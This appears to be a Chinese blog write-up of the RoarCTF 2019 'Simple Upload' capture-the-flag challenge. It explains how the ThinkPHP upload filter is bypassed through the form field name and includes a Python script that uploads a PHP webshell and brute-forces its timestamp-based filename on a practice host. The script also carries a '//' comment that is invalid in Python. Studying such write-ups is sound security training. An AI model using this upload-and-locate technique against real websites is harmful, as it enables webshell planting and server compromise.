[RoarCTF 2019]Simple Upload

作者: const27 分类: All,文件上传漏洞 发布时间: 2020-06-17 05:58

知识点:thinkphp控制器路由,目录爆破,文件上传

进来后是这样,根据thinkphp控制器路由规则,文件上传点在 index.php/home/index/upload

可以看到这里让你上传的name=file的文件后缀不能为php

这里能想到的方法有如下
黑名单绕过,.htaccess和user.ini绕过,大小写绕过,上传name不为file的文件规避过滤(但是无法得到文件路径)的目录爆破

黑名单绕过:phtml等后缀无法被解析,php3等后缀无法规避过滤
.htaccess和.user.ini:文件上传后会根据后缀名随机生成文件名如xxxxxx.后缀名

大小写绕过:因为strstr那里有个strlower,所以无用
所以只能靠目录爆破了

目录爆破:
我们上传两个文件后,发现他们的文件名命名规则是按照时间排序的

所以我们的思路是php文件用name不等于file的方式上传上去,再通过观察一起上传上去时间差(requests同时上传的文件一般文件名后5位不一样),来进行目录爆破

这个脚本爆得好慢..,我再改改,把对时间的确认改成时间差

import requests
import re

url="http://4d0b2218-470d-4e3d-a69d-86f02a4854a9.node3.buuoj.cn/index.php/home/index/upload"
file1={'file':open("./a.txt")}
file2={'file123':open("D:\\phpStudy\\WWW\\muma_script_JPEG.php")}
proxies={"http":"127.0.0.1:8080"}
a=requests.post(url=url,files=file1,proxies=proxies)
b=requests.post(url=url,files=file2,proxies=proxies)
c=requests.post(url=url,files=file1,proxies=proxies)
//取a和c中间的时间差,对该时间差范围内得文件名进行爆破
time1=a.text.split("/")[-1].split(".")[0]
time2=c.text.split("/")[-1].split(".")[0]
print(time1)
print(time2)
time1=int(time1,16)
time2=int(time2,16)
time_cha=time2-time1
for i in range(0,time_cha):
    time=time1+i
    time=str(hex(time)).replace("0x","")
    url1="http://4d0b2218-470d-4e3d-a69d-86f02a4854a9.node3.buuoj.cn/Public/Uploads/2020-06-17/%s.php"%(time)
    a=requests.get(url=url1,proxies=proxies)
    if a.status_code==200:
        print(url1)
        break

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

Leave a Reply

Your email address will not be published. Required fields are marked *

标签云